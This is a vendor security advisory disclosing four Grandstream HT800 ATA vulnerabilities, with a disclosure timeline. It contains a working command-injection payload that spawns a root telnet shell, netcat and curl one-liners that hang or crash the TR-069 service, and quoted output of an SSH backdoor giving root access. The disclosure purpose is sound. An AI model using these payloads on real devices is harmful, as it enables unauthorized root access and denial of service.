tenable

Grandstream ATA HT800 Series Multiple Vulnerabilities

Critical

← View More Research Advisories

Synopsis

While investigating a Grandstream ATA HT814, Tenable discovered multiple vulnerabilities.

CVE-2020-5760: Provisioning Command Injection

Tenable found the HT800 series is vulnerable to command injection via the configuration file when P240 is set to 1 and P2 (password) contains shell metacharacters. For example:

```
P2=`telnetd%24{IFS}-l/bin/sh`
```

Furthermore, Tenable found that an unauthenticated remote attacker could trigger this injection via a x-gs-ucm-url SIP message. We created a proof of concept called sip_provision_exploit.py that starts a root bindshell on port 23. You can find it on our GitHub.

CVE-2020-5761: TR-069 Infinite Loop (CPU Exhaustion)

The device's TR-069 service falls into an infinite loop if an unauthenticated remote attackers sends a TCP message that doesn't contain a carriage return character ('\r'). The TR-069 service will then consume almost all of the system's CPU until the system is rebooted.

This is trivially reproduced using sending a single character with netcat and terminating the connection:

```
albinolobster@ubuntu:~$ echo -ne '\n' | nc 192.168.1.200 7547
^C
albinolobster@ubuntu:~$
```

CVE-2020-5762: TR-069 NULL Pointer Dereference (DoS)

The device's TR-069 service will crash due to a NULL pointer dereference when an unauthenticated remote HTTP GET request contains an Authentication field that isn't a well formed digest-challenge. The TR-069 service doesn't get restarted after the crash.

This is easily reproduced by using basic authentication with curl:

```
albinolobster@ubuntu:~$ curl -vv --user admin:admin http://192.168.1.200:7547/cpe

Trying 192.168.1.200:7547...
TCP_NODELAY set
Connected to 192.168.1.200 (192.168.1.200) port 7547 (#0)
Server auth using Basic with user 'admin'
> GET /cpe HTTP/1.1
> Host: 192.168.1.200:7547
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.65.3
> Accept: /
>
Empty reply from server
Connection #0 to host 192.168.1.200 left intact
curl: (52) Empty reply from server
albinolobster@ubuntu:~$ curl -vv --user admin:admin http://192.168.1.200:7547/cpe
Trying 192.168.1.200:7547...
TCP_NODELAY set
connect to 192.168.1.200 port 7547 failed: Connection refused
Failed to connect to 192.168.1.200 port 7547: Connection refused
Closing connection 0
curl: (7) Failed to connect to 192.168.1.200 port 7547: Connection refused
albinolobster@ubuntu:~$
```

CVE-2020-5763: SSH Backdoor

The device's SSH interface contains a backdoor to a root shell. As far as we know, Lorenzo Santina (BigNerd95) was the first to discover and publish this issue. The following output is from Mr. Santina's GitHub repository:

```
$ ssh admin@192.168.1.100
Grandstream HT802 Command Shell Copyright 2006-2018
admin@192.168.1.100's password:
GS> gssu
Challenge: b319d6c803a2f142
Response:
# uname -a
Linux HT8XX 3.4.20-rt31-dvf-v1.2.6.1-rc2 #27 PREEMPT Mon Aug 20 15:19:59 CST 2018 armv5tejl GNU/Linux
```

Note: Tenable chose CWE-912 over the NVD-assigned CWE-326 for CVE-2020-5763 due to the following:

- CWE-326 is for the storage or transmission of sensitive data using inadequate encryption strength. That does not apply to this vulnerability.

Solution

At the time of publication, no solution exists.

Disclosure Timeline

04/30/2020 - Reported via ticketing system.
04/30/2020 - Grandstream asks about the PoC.
04/30/2020 - Tenable responds.
04/30/2020 - Grandstream thanks Tenable.
05/04/2020 - Grandstream asks for clarification on the info disclosure issue.
05/04/2020 - Tenable provides a curl screenshot.
05/04/2020 - Grandstream asks about the gssu backdoor.
05/04/2020 - Tenable sends a GitHub link.
05/05/2020 - Tenable and Grandstream exchange a flurry of messages about the info disclosure. Grandstream determines this is not an issue.
05/11/2020 - Grandstream asks for clarification on the replay attack.
05/11/2020 - Tenable cites a passage from RFC 7616.
05/11/2020 - Grandstream thanks Tenable.
05/13/2020 - Grandstream asks Tenable to test fixes.
05/13/2020 - Tenable is confused about the test firmware version and Grandstream helps clarify.
05/14/2020 - Tenable acknowledges fixes for the command injection, the backdoor, the replay issue, the null ptr dereference, and the infinite loop.
05/14/2020 - Grandstream thanks Tenable.
06/16/2020 - Grandstream asks Tenable to look at another firmware version.
06/18/2020 - Tenable indicates no availability until next Monday.
06/18/2020 - Grandstream acknowledges.
06/22/2020 - Grandstream reminds Tenable about testing the firmware.
06/22/2020 - Tenable confirms the fixes again.
06/22/2020 - Grandstream thanks Tenable.

Risk Information

CVE ID: CVE-2020-5760
CVE-2020-5761
CVE-2020-5762
CVE-2020-5763
Tenable Advisory ID: TRA-2020-47
Credit: Tenable

CVSSv2 Base / Temporal Score: 10.0 / 9.5
CVSSv2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Products: Grandstream HT800 Series 1.0.17.5 and below
Risk Factor: Critical

Advisory Timeline

07/29/2020 - Initial Release
11/19/2020 - Added note regarding CWE choice

Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media